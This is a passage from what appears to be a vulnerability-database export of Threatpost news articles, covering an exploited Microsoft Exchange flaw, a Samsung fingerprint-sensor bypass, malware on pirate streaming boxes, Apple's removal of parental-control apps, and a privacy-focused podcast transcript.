it,\u201d Brian Gorenc, director of vulnerability research and head of Trend Micro\u2019s ZDI program told Threatpost via email. \u201cThat\u2019s why we worked with Microsoft to get it patched through coordinated disclosure, and it\u2019s why we provided defenders detailed information about it through our blog. We felt Exchange administrators should treat this as a Critical patch rather than Important as labelled by Microsoft. We encourage everyone to apply the patch as soon as possible to protect themselves from this vulnerability.\u201d\n\n## Brute Force\n\nResearchers said, while an attacker would need a credential to leverage the exploit, the credential does not need to be highly privileged or even have ECP access.\n\nAfter technical details of the flaw were disclosed, researchers said they observed multiple APT groups attempting to brute force credentials by leveraging Exchange Web Services (EWS), which they said was likely an effort to exploit this vulnerability.\n\n\u201cWhile brute-forcing credentials is a common occurrence, the frequency and intensity of attacks at certain organizations has increased dramatically following the vulnerability disclosure,\u201d researchers said.\n\nResearchers said they believe these efforts to be sourced from \u201cknown APT groups\u201d due to the overlap of their IP addresses from other, previous attacks. Also, in some cases, the credentials used were tied to previous breaches by the APT groups.\n\n## Going Forward\n\nIn the coming months, Adair told Threatpost he suspects there could easily be hundreds of organizations being hit with this exploit.\n\n\u201cFrom our perspective the successful attacks we have seen are just a handful of different servers and organizations,\u201d Adair said. \u201cHowever, I would expect that attackers have been access compromised credentials all around the world and are not able to make better use of them.\u201d** **\n\nResearchers encourage organizations to ensure that they\u2019re up to date on security updates from Microsoft, as well as place access control list (ACL) restrictions on the ECP virtual directory or via any web application firewall capability. Firms should also continue to expire passwords and require users to update passwords periodically, researchers said.\n\n\u201cThis vulnerability underscores such a case where an organization can be locked down, have properly deployed 2FA, and still have an incident due to outdated or weak password,\u201d said researchers.\n\n**_Interested in security for the Internet of Things and how 5G will change the threat landscape? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n\nWrite a comment\n\n**Share this article:**\n\n * [Hacks](<https://threatpost.com/category/hacks/>)\n", "cvss3": {}, "published": "2020-03-09T18:01:41", "type": "threatpost", "title": "Microsoft Exchange Server Flaw Exploited in APT Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-09T18:01:41", "id": "THREATPOST:21FB6EBE566C5183C8FD9BDA28A56418", "href": "https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/?utm_source=rss&utm_medium=rss&utm_campaign=microsoft-exchange-server-flaw-exploited-in-apt-attacks", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-09-30T22:23:40", "description": "Samsung has reportedly started rolling out a software patch for the Galaxy S10 and Note10, addressing glitches in both phone models that allow the bypass of their built-in fingerprint authentication sensors.\n\nThe fix comes after Samsung admitted last week that anyone [can bypass the Galaxy S10 fingerprint sensor](<https://threatpost.com/galaxy-s10-fingerprint-sensor-thwarted-with-screen-protector-report/149197/>) if a third-party silicon case is enclosing the phone. The acknowledgement led to widespread backlash from customers, while several U.K.-based banks have also started blacklisting impacted Samsung devices for their apps, as the issue also allowed users to access various apps on the impacted devices that were using the biometric function for authentication.\n\nAccording to a Wednesday [report by Android Police](<https://www.androidpolice.com/2019/10/23/samsung-will-begin-patching-fingerprint-scanner-security-flaw-within-24-hours/>), Samsung is now rolling out patches to customers, urging its customers support app (Samsung Members) to update their phones to the latest software version, which will fix the biometric authentication glitch.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cSamsung is releasing a software patch to fix fingerprint issues on Galaxy Note10, Note10+, S10, S10+, and S10 5G devices,\u201d Samsung said on a [note on Samsung Members](<https://www.androidpolice.com/2019/10/23/samsung-will-begin-patching-fingerprint-scanner-security-flaw-within-24-hours/#ap-lightbox>). \u201cIf you have registered a fingerprint on one of these devices, you will receive a notification with instructions. This update is being sent out gradually, so you may not receive the notification immediately.\u201d\n\nSamsung Galaxy S10 and Note10 users, for their part, are urged to look out for an update notification on their devices called \u201cBiometrics Update.\u201d Once they click on \u201cUpdate,\u201d they will be instructed to delete all previously registered fingerprints from their phone with covers on the phone, and re-register them without a cover applied to the phone.\n\nThe issue first came to light after a woman alleged that a $3 smartphone screen protector allowed unauthorized users to dupe her Samsung Galaxy S10\u2019s fingerprint recognition sensor \u2013 giving access to her phone and banking apps. The U.K. woman, Lisa Neilson, told media reports earlier in October that only her fingerprint was registered on her new Galaxy S10. However, after buying a third-party screen protector off eBay, Neilson\u2019s husband was able to unlock her phone using his fingerprint \u2013 even though it wasn\u2019t registered on the device. Worse, the pair found that Neilson\u2019s husband could log into her phone and access various private apps using the fingerprint biometrics security feature.\n\n\u201cThis issue involved ultrasonic fingerprint sensors unlocking devices after recognizing 3-dimensional patterns appearing on certain silicone screen protecting cases as users\u2019 fingerprints,\u201d said Samsung in a [press release last week](<https://news.samsung.com/global/statement-on-fingerprint-recognition-issue>). \u201cTo prevent any further issues, we advise that Galaxy Note10/10+ and S10/S10+/S10 5G users who use such covers to remove the cover, delete all previous fingerprints and newly register their fingerprints.\u201d\n\nOn the heels of this report, several videos popped up of Galaxy S10 users trying the trick out successfully on their own phones (one such video is below).\n\n[NatWest](<https://twitter.com/NatWest_Help/status/1186676299743580161>) and [Royal Bank](<https://twitter.com/RBS_Help/status/1186553506251071493>) are among the banks that removed their apps from the Google Play store for customers with Samsung Galaxy S10 and Note 10 devices: \u201cThis is due to reports that there are security concerns regarding these devices,\u201d according to a Royal Bank tweet. \u201cWe hope to have our app available again shortly once the issue has been resolved.\u201d\n\n> Hi there Martyn. We've removed the app from the Play Store for customers with Samsung S10 devices. This is due to reports that there are security concerns regarding these devices. We hope to have our app available again shortly once the issue has been resolved. WL\n> \n> \u2014 Royal Bank (@RBS_Help) [October 22, 2019](<https://twitter.com/RBS_Help/status/1186553506251071493?ref_src=twsrc%5Etfw>)\n\nThe utilization of biometrics on smartphones has been helpful for identity authentication \u2013 but it\u2019s not foolproof.\n\nIn fact, also in October Google [came under fire for its Pixel 4](<https://arstechnica.com/gadgets/2019/10/google-says-a-fix-for-pixel-4-face-unlock-is-months-away/>) facial recognition unlock feature, which users said would unlock for users even if their eyes were closed. Google issued a media statement this weekend that the glitch will be fixed in a software update that will be delivered in the \u201ccoming months.\u201d\n\nOther privacy incidents have plagued smartphone vendors around biometric authentication. [In August](<https://threatpost.com/researchers-bypass-apple-faceid-using-biometrics-achilles-heel/147109/>), researchers revealed vulnerabilities in the authentication process of biometrics technology that could allow bad actors to bypass various facial recognition applications \u2013 including Apple\u2019s FaceID. In 2018, a design flaw affecting all in-display fingerprint sensors \u2013 that left over a half-dozen cellphone models vulnerable to a trivial lock-screen bypass attack \u2013 [was quietly patched](<https://threatpost.com/lock-screen-bypass-bug-quietly-patched-in-handsets/139141/>). The flaw was tied to a bug in the popular in-display fingerprint reader technology used for user authentication. New vulnerabilities in [voice authentication](<https://threatpost.com/black-hat-2018-voice-authentication-is-broken-researchers-say/134926/>) have been uncovered as well.\n", "cvss3": {}, "published": "2019-10-24T15:44:50", "type": "threatpost", "title": "Samsung Rolls Out Fix For Galaxy S10 Fingerprint Sensor Glitch", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-10-24T15:44:50", "id": "THREATPOST:99AD02BEC4B8423B8E050E0A4E9C4DEB", "href": "https://threatpost.com/samsung-fix-galaxy-s10-fingerprint-sensor/149510/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:57", "description": "You get what you pay for when you pirate content. That\u2019s the takeaway from the latest report by Digital Citizens Alliance.\n\nIt found that pirating hardware, which enables free streaming copyright-protected content, comes packed with malicious malware. The devices give criminals easy access to router settings, can plant malware on shared network devices and are often leveraged to steal user credentials.\n\nAccording to the [Digital Citizens Alliance report](<https://www.digitalcitizensalliance.org/clientuploads/directory/Reports/DCA_Fishing_in_the_Piracy_Stream_v6.pdf>) (PDF), 13 percent of 2,073 Americans surveyed use a hardware device for pirating content. One such popular device is called a \u201cKodi box,\u201d which is sold for between $70 to $100 on grey markets. Kodi is an open-source media player designed for televisions and developed by the XBMC Foundation. The software is widely known for its support of a bevy of copyright-infringing apps that offer free access to premium content from Netfix, Amazon Prime, Hulu, sports networks and paid subscription music services. \n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cBy plugging the device into a home network, [users] are enabling hackers to bypass the security (such as a router\u2019s firewall) designed to protect their system. If apps on the box or that are later downloaded have malware, the user has helped the hacker past network security,\u201d wrote Digital Citizens Alliance (DCA) in a recently released report.\n\nIn a review of hardware and pirating apps, such as FreeNetflix, researchers said they found malware piggybacking on illegal apps and preloaded with content. For example, when researchers installed a live sports streaming app called Mobdro, the app forwarded the researcher\u2019s Wi-Fi network name and password to a server in Indonesia.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29154055/Jailbroken-Firestick-image.png>)\n\nExample of a jail broken Amazon Fire TV Stick for sale. Courtesy: Digital Citizens Alliance\n\nIn other instances, 1.5 terabytes of data was uploaded from a device that shared the same network of the Kodi box. And, in yet another instance, \u201cresearchers uncovered a clever scheme that enabled criminals to pose as well-known streaming sites, such as Netflix, to facilitate illegal access to a legitimate subscription of an actual Netflix subscriber,\u201d according to the report.\n\nFor its investigation DCA partnered with GroupSense, a security firm that specializes in chatrooms that facilitate black market sales. It claims hackers were discussing how to leverage networks compromised by illicit media streaming services in hopes of recruiting them into DDoS botnets or to mine cryptocurrency.\n\n\u201cGiven that users rarely install anti-virus tools on such devices, the opportunities for exploitation are numerous,\u201d wrote researchers.\n\nThe unsavory worlds of [pirated content and malware are no strangers](<https://threatpost.com/searches-for-pirated-content-lead-to-pain-and-little-gain/113515/>). Researchers have [long warned that patronizing such](<https://threatpost.com/passteal-malware-lurking-file-sharing-sites-112112/77239/>) services is a shortcut to infection. Earlier this month, [Kaspersky Lab released a report](<https://threatpost.com/game-of-thrones-malware-piracy/143318/>) that found that illegal downloads of HBO\u2019s Game of Thrones accounted for 17 percent of all infected pirated content in the last year.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29154327/Firestick-Apps.png>)\n\nExamples of apps running on the Kodi platform.\n\nIn [Aug. 2018 researchers at ESET](<https://www.welivesecurity.com/2018/09/13/kodi-add-ons-launch-cryptomining-campaign/>) said they found DDoS modules had been added to a Kodi third-party add-on. ESET said it also found copyright-infringing apps that came with multi-stage crypto-mining malware that targeted Windows and Linux systems.\n\nAs part of its report, DCA reached out to XBMC Foundation. XBMC quickly rebuffed any notion it tacitly supported or endorsed pirated content. \u201cIf you are selling a box on your website designed to trick users into thinking broken add-ons come from us and work perfectly, so you can make a buck, we\u2019re going to do everything we can to stop you,\u201d it told DCA.\n\nThe Kodi application typically runs on a wide range of hardware and is sold by independent resellers on eBay, Facebook Marketplace and Craigslist. DCA said it also found Kodi pre-installed on a number of devices including inexpensive China-made media streamers. The software can also be found on devices, that were sold pre-sideloaded with Kodi software. Users can also choose to install the Kodi application on existing hardware.\n\nTo be clear, the Kodi software is not illicit. Rather, researchers are concerned the Kodi platform supports pirating apps that can harbor malware. Researchers are also concerned that some hardware devices that are sold as \u201cKodi boxes\u201d come pre-installed with malicious code and apps used to pirate streaming content.\n\nDCA did its own independent testing over the course of 500 hours of lab testing. It estimates there are 12 million active users of the illicit devices in North American homes. Those users \u201cpresent a tempting target because they offer hackers a new avenue to exploit consumers and a path to reach other devices on a home network. The findings should serve as a wake-up call for consumers, the technology community, and policymakers to take the threat seriously,\u201d it said.\n", "cvss3": {}, "published": "2019-04-29T20:31:30", "type": "threatpost", "title": "Malware Infests Popular Pirate Streaming Hardware", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T20:31:30", "id": "THREATPOST:3E89058B621DF5B431A387D18E4F398C", "href": "https://threatpost.com/kodi_box_malware/144191/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T12:00:27", "description": "Apple is defending its decision to take down several highly popular parental control apps amidst a firestorm of backlash, saying it did so for \u201cprivacy and security\u201d reasons.\n\nApple came under scrutiny this weekend after a New York Times article alleged that the phone giant had unfairly removed or restricted at least 11 top screen-time and parental-control apps from its marketplace \u2013 after creating its own screen-time app. Among those that have been removed are OurPact, which has 3 million downloads, and Mobicip, which has 2.5 million downloads.\n\nWhile it looks like a competitive move, Apple tells a different story: Its aim was to weed out apps that were using mobile device management (MDM) technology it said, which gives third-party control and access over other devices and sensitive information, including location, app use and more. Parental-control apps, which allow parents to keep tabs (and set limits) on their children\u2019s on-phone activities, locations and more, are thus effectively collecting way too much data, Apple said.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cWe recently removed several parental-control apps from the App Store, and we did it for a simple reason: They put users\u2019 privacy and security at risk. It\u2019s important to understand why and how this happened,\u201d the company said in a [Sunday statement](<https://www.apple.com/newsroom/2019/04/the-facts-about-parental-control-apps/>), entitled \u201cThe Facts About Parental Control Apps.\u201d\n\nRegardless of the reason, the incident has raised questions about how competition is handled between apps and the sometimes-competing platforms that they are sold on. Impacted app developers, for their part, continue to be up-in-arms regarding the incident \u2013 with two popular parental control apps, Kidslox and Qustodio, last week filing an anti-competition complaint with the European Commission\u2019s competition office.\n\n## Angry App Devs\n\nThe Saturday[ report](<https://www.nytimes.com/2019/04/27/technology/apple-screen-time-trackers.html>) by the New York Times_, _working with app data firm Sensor Tower, shows that Apple has removed or restricted 11 of the 17 most downloaded parental-control apps, as well as restricting lesser-known apps. That includes forcing apps to remove features that enable parents to control children\u2019s devices, or restrict access to adult content.\n\nThe move comes after Apple launched its own screen control app, Screen Time, a feature built into iOS 12 that enables users to set screen time and limits on their own phones.\n\nThe complaint from Kidslox and Qustodio that was filed with the European Commission\u2019s competition office was filed in tandem with the report, saying that the removal and restriction of parental-control apps was an anti-competitive practice by nature.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29144205/screen-time-1-.png>)\n\nParental Control Apps\n\nKidslox alleges that Apple has required it to make changes to its app that ultimately harmed it competitive factor.\n\n\u201cTo create Screen Time, Apple took the best pieces and best practices from existing parental-control and well-being apps in the App Store, bringing no tangible innovations to market,\u201d Kidslox CEO Viktor Yevpak said in a statement provided to Threatpost. \u201cStanding up to Apple is about even more than fair competition.\u201d\n\nMeanwhile Qustodio, in a statement showed to Threatpost regarding the EU complaint, said that Apple has arbitrarily blocked several parental-control apps in the market from making app updates, while completely removing others.\n\n\u201cWith the introduction of Apple\u2019s Screen Time, developers in the parental control category experienced unprecedented anti-competitive behavior from Apple,\u201d Qustodio CEO Eduardo Cruz said in the statement. \u201cThe company acts as both a marketplace and a gatekeeper and uses its dominant position to create exclusive competitive advantage for its own service.\u201d\n\nOther screen-time apps began complaining about being removed from the Apple Store all the way back in the fall of 2018, including Mute, a screen-time tracking app.\n\nNick Kuh, creator of Mute, [complained](<https://medium.com/@nick.kuh/mute-app-startup-to-shutdown-a1db01440c56>) in October 2018 that Apple had removed his app from the App Store (Apple later returned his app after his post gained media attention).\n\n\u201cIt appears that Apple are now shutting down many (all?) screen-time tracking apps now that they\u2019ve added screen-time tracking into iOS 12,\u201d he said in his post. \u201cIt turns out that Apple have sent a similar email to many other app developers of screen-time tracking and parental-control apps. I believe that Mute is one of the first to go, but expect others to disappear from the App Store in the coming weeks as their notice period expires.\u201d\n\n## Apple Hits Back** **\n\nIn response to reports of developer outrage, Apple said in a statement: \u201cApple has always supported third-party apps on the App Store that help parents manage their kids\u2019 devices. Contrary to what the _New York Times_ reported over the weekend, this isn\u2019t a matter of competition. It\u2019s a matter of security.\u201d\n\nApple said several of the apps removed use the MDM format, which is typically used by enterprises to give companies control over their employees\u2019 devices. However, when non-enterprise developers use the feature on their apps, the technology can have dangerous privacy and security implications, Apple said.\n\nThese MDM functions give apps a \u201cconfiguration profile\u201d which is generally used for enterprises \u2013 and allow users to configure or track certain settings \u2013 including app settings, Wi-Fi and permissions. In other words, app developers behind the apps gain access to all data \u2013 such as location, activity and more \u2013 of the children whose phones are being controlled.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29144327/screen-time-2.png>)\n\nApple Screen Time\n\nApple did not respond to multiple requests for comment from Threatpost.\n\nThe company in its statement said that it began noticing that non-enterprise developers were using MDM back in early 2017, and updated their guidelines based on that work in mid-2017.\n\n\u201cWhen we found out about these guideline violations, we communicated these violations to the app developers, giving them 30 days to submit an updated app to avoid availability interruption in the App Store,\u201d Apple said. \u201cSeveral developers released updates to bring their apps in line with these policies. Those that didn\u2019t were removed from the App Store.\u201d\n\nHowever, app developers argue that MDM is not used maliciously and that parents setting up the apps are given fair notice about the MDM features when downloading the app.\n\nSuren Ramasubbu, CEO of one of the parental control apps impacted by Apple\u2019s crackdown, Mobicip, said that when parental control apps using MDM is installed, it is the parent that goes through the process of setting up \u2013 and they are explicitly asked to agree to the terms and conditions and privacy policy before installing the MDM profile and certificate.\n\n\u201cPlease note that the parent has explicitly agreed to enroll the device in a third-party MDM system,\u201d he said in a [post](<https://medium.com/@suren_60419/apples-case-for-removing-screentime-apps-seven-questions-for-phil-schiller-33cf78b01713>) over the weekend. \u201cDo these parents understand the risks? May be. May be not. But should it be the parent who decides the risk vs. reward? Given that Apple Screen Time requires both parents and children to be on Apple devices, and given that most families today have a blend of devices with the parents on Android, isn\u2019t it anti-competitive to not give parents this choice?\u201d\n\nApps like Kidslox and Qustodio continue to maintain that Apple\u2019s practices are unfair \u2013 and ultimately hurting both app developers and consumers.\n\n\u201cQustodio and Kidslox are asking Apple to stop this unprecedented hostile behavior, compete fairly, and open up exclusive API\u2019s and technologies introduced in their own Screen Time service,\u201d according to Qustodio.\n\nIt\u2019s not the first time Apple has come under fire for anti-competition app store practices \u2013 in March, [Spotify filed a complaint](<https://newsroom.spotify.com/2019-03-13/consumers-and-innovators-win-on-a-level-playing-field/>) against the iPhone maker saying that newly-introduced App Store rules \u2013 such as a 30 percent tax imposed on purchases made via Apple\u2019s payment system \u2013 stifle competing music services that are being sold on its platform.\n", "cvss3": {}, "published": "2019-04-29T19:26:31", "type": "threatpost", "title": "Apple Defends Parental Control App Removal Amid Backlash", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T19:26:31", "id": "THREATPOST:22663CEB225A1F7F9DD4EBD8B84956C1", "href": "https://threatpost.com/apple-parental-control-app-removal/144181/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:11", "description": "Data privacy has been an outstanding theme this past week, and the Threatpost team discussed the biggest privacy related news. In the news wrap podcast for April 26, the team discussed the backstories behind several reports from the week, including:\n\n * Facebook potentially [facing Federal Trade Commission (FTC) fines](<https://threatpost.com/facebook-5-billion-ftc-fine/144104/>) as high as $5 billion for its data-security practices\n * A report that employees at Amazon can [access geolocation information](<https://threatpost.com/amazon-employees-personal-alexa/144119/>) for Alexa users\n * Questions around data security and consent around[ facial recognition](<https://threatpost.com/facial-recognition-consent-doesnt-exist-threatpost-poll-finds/144126/>) after the EU\u2019s approval of a massive biometrics database\n * The exposure of [2 million passwords](<https://threatpost.com/leaky_app_data/144029/>) for Wi-Fi hotspots online by an insecure database\n\n[\ufeff\n\n](<http://iframe%20style=border:%20none%20src=//html5-player.libsyn.com/embed/episode/id/9544445/height/360/theme/legacy/thumbnail/yes/direction/backward/%20height=360%20width=100%%20scrolling=no%20%20allowfullscreen%20webkitallowfullscreen%20mozallowfullscreen%20oallowfullscreen%20msallowfullscreen/iframe>)\n\n_Below is a lightly edited transcript of the podcast._\n\n**Lindsey O\u2019Donnell**: Welcome to the Threatpost podcast, and the Threatpost team is all here this Friday morning. You\u2019ve got Lindsey O\u2019Donnell and I\u2019m here with Tara Seals and Tom Spring. Hey, everyone.\n\n**Tara Seals:**Hey, Lindsey.\n\n**Tom Spring: **How\u2019s it going, Lindsey? How\u2019s it going, Tara?\n\n**Lindsey**: Good. So, privacy has really been kind of the name of the game this week, in terms of all the stories that we\u2019ve written. And I know, we had a lot of data privacy type stories, everything from Amazon Echo privacy issues to facial recognition. But if we\u2019re talking about data privacy, I think we should really start by bringing Facebook into the conversation here, as we usually do.\n\n**Tara: **Yeah, that seems to have been a top theme of the week for sure. And you did a ton of reporting on that this week.\n\n**Lindsey: **Yeah, so, the big news this week was that Facebook may be facing fines of between $3 to $5 billion for that FTC fine that was related to the Cambridge Analytica incident last year, and all of their data privacy issues that they\u2019ve had since then. So, Facebook had its earnings and disclosed this amount of money that is set aside as contingency expenses. And I feel like we keep hearing about reports of Facebook, having all these data sharing incidents, or having all these crazy data practices, but now we\u2019re really looking at the consequences. And everyone\u2019s wondering how data collection and sharing will be regulated and what kind of fines we\u2019ll see. So that should be interesting to keep an eye on how this actually plays out in the coming months.\n\n**Tara: **Yeah, and I wonder in terms of all of that, when we talk about the GDPR, over in Europe, and how it has really stringent requirements for explicit consent before somebody harvests your data, which obviously is not something that Facebook adheres to, for U.S. citizens anyway \u2013 have there been any rumblings out there in terms of whether or not Facebook might face future regulation?\n\n**Lindsey: **I think that\u2019s there\u2019s been a lot of discussion about it. I know, obviously, Mark Zuckerberg has appeared in front of Congress. And it\u2019s definitely been at the forefront of discussion. But beyond some state-level data privacy practice regulations, it\u2019s something that people are still trying to figure out. So I think that\u2019s kind of why this FTC fine is at the center of attention. There was news today, actually, that the _New York Times _was talking to sources who said that the FTC is discussing stronger monitoring of Facebook\u2019s privacy policies, as well as direct punishment of Mark Zuckerberg. So that raises questions about how to deal with data sharing, whether it\u2019s kind of hitting at the CEO, or even just imposing bigger fines. But Tara, I know, you listen to the actual earnings call. Were there any special call outs about the fine or data security in general? I\u2019m curious if they talked about it at all.\n\n**Tara:**They studiously avoided talking about the fines specifically, which, it\u2019s a charge off of, they added $3 billion, and they said it could go up to as much as $5 billion, and so that ate into their profit, which is kind of interesting, because they reported, I think it was, I don\u2019t have it in front of me, but I think it was around like $2.3 billion in profit for the quarter.\n\nAnd that that is taking into account that $3 billion contingency fine. And they didn\u2019t really specifically discuss it. But they did say that they expected profits to continue to waver a little bit going forward, due to regulatory headwinds, as well as advertising-related falloff, because they\u2019re not sure that they can make the same amount of revenue off of ad targeting that they have in the past.\n\nSo that sort of in a roundabout way speaks to the fact that they\u2019re looking into making some changes in terms of how they collect and use user data. But that\u2019s sort of reading between the lines, and they certainly didn\u2019t say anything explicit about it, unfortunately.\n\n**Lindsey: **Right. Well, I know one big point of discussion was, is this enough? How does this compare to past fines? Because I know Facebook has faced various fines in the past, which Tara you have actually written about. I think it was in December it was fined like $11 million. And then in October, it was fined $645,000. So obviously, those kind of shy away in comparison to $5 billion, but I think people are still kind of asking, how does this compare? Facebook\u2019s kind of overall \u2013\n\n**Tara: **Yeah, their overall profit, annual, you know, $3 to 5 billion is significant for them, actually.\n\n**Tom:**Well, I just looked it up. Facebook made more than $40 billion in revenue in 2017.\n\n**Tara: **What\u2019s the profit? That\u2019s the real marker right?\n\n**Tom: **Well, it is the real marker.\n\n**Lindsey: ** I\u2019m curious what will come out of it. But I do know that everyone\u2019s really looking at this as some sort of precedent for how Facebook will be regulated in the future, if it continues with the data security issues that have been happening over the past year, since Cambridge Analytica.\n\n**Tara: **One of the things too, Lindsey, that I wanted to ask you about was, you know, [the poll that we did](<https://threatpost.com/three-fourths-of-consumers-dont-trust-facebook-threatpost-poll-finds/143963/>) on attitudes towards Facebook. But, you know, also in the wake of their earnings that showed that they had seen an 8 percent year over year, subscriber jump, so the headlines, even though people are sort of horrified by them, they\u2019re not really dissuading people from actually using the platform, which I think is interesting. And then also their stock price just skyrocketed, after they reported their earnings, even with the charge off for the fine. So I don\u2019t know, I don\u2019t know what\u2019s going to happen in the future and whether any of this is going to make a difference in terms of whether or not it\u2019s successful as a company.\n\n**Tom: **I was just thinking, I think that, it\u2019d be interesting to watch the regulatory space to see what the U.S. does, especially with GDPR, in terms of what\u2019s going on in Europe, and really a constant sort of, you know, march of bad news in terms of privacy, and also with breaches that are taking place, not only with Facebook, but with a ton of other companies \u2013 I think what we\u2019re doing is we\u2019re setting up in 2020, and beyond some new rules around privacy and some new regulations around privacy. Because I mean, as you just pointed out, Tara, fines and threats and punishments are not really are impacting the way Facebook\u2019s doing business or hurting them in terms of their business model.\n\n**Lindsey: **Right. I don\u2019t think at all that people are going to stop using Facebook. And I mean, to be totally honest, even if they do adopt some sort of model where you pay to use the platform without advertising or without your data being collected and shared \u2013 I\u2019m not sure how many people would even opt in for that as well. I mean, I could be completely wrong. But I don\u2019t know if people are going to pay an extra like $5 a month or something to use a social media platform that\u2019s already free.\n\n**Tom: **Yeah, I don\u2019t think anybody\u2019s going to be paying. But I think what you\u2019ll see is probably some government intervention. That\u2019s my prediction. I mean, the things that we regulate here in the U.S. \u2013 these companies, whether it be Amazon, Google, or Facebook, they\u2019ve basically had a clear runway to do whatever they wanted for I don\u2019t know how many years. And, you know, if you think about all the different things that we regulate in this country, privacy really isn\u2019t one of them right now, but certainly isa right target for legislators to focus on.\n\n**Lindsey: **Right. That\u2019s the good point. Speaking of Amazon, I know, Tara, you covered a really interesting story this week too about news of their auditing program for Echo devices, which had already been reported. But now I guess a new report said that they\u2019re also exposing geolocation data, in addition to voice data. Can you add some color there?\n\n**Tara: **Sure. So, this story was really interesting to me. And it\u2019s not just Echo either. It\u2019s also, you know, the other Alexa devices including the Fire TV devices and there are tons of third-party gadgets that have Alexa built in now. So this is kind of a broad reaching story, from an Internet of Things perspective. But yeah, so apparently, and as you pointed out, this is something that _Bloomberg _had broken a story on about three weeks ago, talking about the fact that Amazon has a team of people in place that may manually audit Alexa interactions to make sure that the AI is learning appropriately. And it\u2019s been effective and accurate and returning good results for users, and all that kind of thing. But what\u2019s interesting is in the process of that, this data, which is supposed to be anonymous, right? So it\u2019s just sort of random snippets \u2013 human people will listen to this, and then see what Alexa\u2019s response was matched up, make sure that it\u2019s accurate, do whatever secret sauce they have to do with the algorithm and the AI to fix it, or to make her smarter \u2013 But in the process of this, apparently, geolocation data gets scooped up here. Because when people ask, Alexa, tell me what the weather forecast is, or Alexa, I\u2019m feeling like Chinese, is anybody delivering to my house, that type of thing. That necessarily, obviously, those local results have to be tied to geolocation data. So they\u2019re scooping up and harvesting and storing and logging GPS coordinates, in addition to sort of these random, other snippets. And so there were five different employees within Amazon that are working on this program, that basically came forward and said that they feel that nobody gave their consent for this and that it\u2019s too broad of an access for them to have. And then they actually on a whim, sort of plugged these coordinates into Google Maps and found that they could actually track somebody\u2019s place of business or their house, and even bring up a picture of that house. And through other means, actually identify who lives there, and then tie all this other information together and be able to create a very creative profile.\n\n**Tom: **I agree with you, Tara, I think that we need to be more concerned about the privacy that we hand over to these types of digital devices. And I\u2019m even more concerned now about the privacy issues that have surround geo-specific apps, where you\u2019re using an app and it understands where you\u2019re at and gives you sort of context-relevant information, and how that data is being used, and who\u2019s using it, and who\u2019s collecting it. When you think about Amazon, they\u2019re a much more potentially powerful company considering all the tentacles that it has into my buying and my data, and my home with their Alexa speakers.\n\n**Lindsey:**Yeah, that\u2019s a really good point. And I\u2019m curious too about the consent and notification side of all of this. I mean, did they have any response Tara about if they gave any notification that they were doing any of this at all? Is there anything on Amazon\u2019s website about this program?\n\n**Tara: **No, no, this was completely in the background until _Bloomberg _came forward with their report, they didn\u2019t acknowledge that it exists. And they just put out a statement saying, you know, we take privacy seriously. And saying, we limit, the number of people that have access to this, who are tasked with doing this as part of their job, and they\u2019re bound by, you know, all kinds of restrictions and things like that it\u2019s highly controlled.\n\n**Tom: **I gotta come back to the point where I feel like this is an area ripe for regulation. I\u2019m not pro regulation but I mean, if this is something that consumers are outraged about \u2013 I think there\u2019s got to be a GDPR type regulations that we\u2019re going to see here in the U.S. that that are going to impact the Facebook\u2019s and the Amazons in the world.\n\n**Tara: **Right and now, we have other types of privacy and sort of potentially intrusive privacy issues to worry about too \u2013 Lindsey, going back to some of the reporting you did this week, but with the facial recognition stuff is happening. You know that that seems like sort of the Wild West out there. There\u2019s no regulation around that.Right?\n\n**Lindsey: **Well, yeah, exactly. And the scary thing about that, too, is that a lot of the facial recognition applications out there are actually being used by the government. So by the Department of Homeland Security and by policemen and whatnot. But yeah, facial recognition came up in the headlines a bunch this week, because there\u2019s been two different incidents. The first was you guys may have heard the EU last week approved a massive biometrics database that would combine the data from law enforcement, from Border Patrol, and more for both EU and non US citizens. So there was that. And then there was another incident this week that occurred where a JetBlue passenger was boarding a flight. And she noticed that instead of scanning her boarding pass, or taking a look at her passport, she was directed to look into a camera, before being allowed on onto the jet bridge. So she was confused about what was going on and so tweeted at JetBlue. And it turns out, this was part of a Customs and Border Patrol program that\u2019s used in I think, 17 airports, where it uses facial recognition to identify passengers and let them through the gateway onto the plane. So her tweet went viral and kind of started this massive conversation about facial recognition and you know, if you can consent and where the data is coming from, how it\u2019s being shared. So that\u2019s been a really interesting story to cover, and kind of see the backlash and reaction to both of these incidents.\n\n**Tom: **I can relate to that. I recently traveled to Mexico, for a little vacation. And, I am seeing facial recognition more and more in my life. I think the interesting thing about your story, Lindsey, was also you wrote about consent, whether or not all of these facial recognition systems actually ask for consent and get consent, which they don\u2019t. But when I went to Mexico, we flew into Mexico, and then we went through customs in Mexico, and Mexico had immigration kiosks, where they asked for facial recognition and fingerprints, and to scan our passports, which \u2013 I was really creeped out. My son, who\u2019s 14 years old, I think probably is now part of the government database of fingerprints and facial recognition. It was kind of weird. Considering, you know, he\u2019d been off 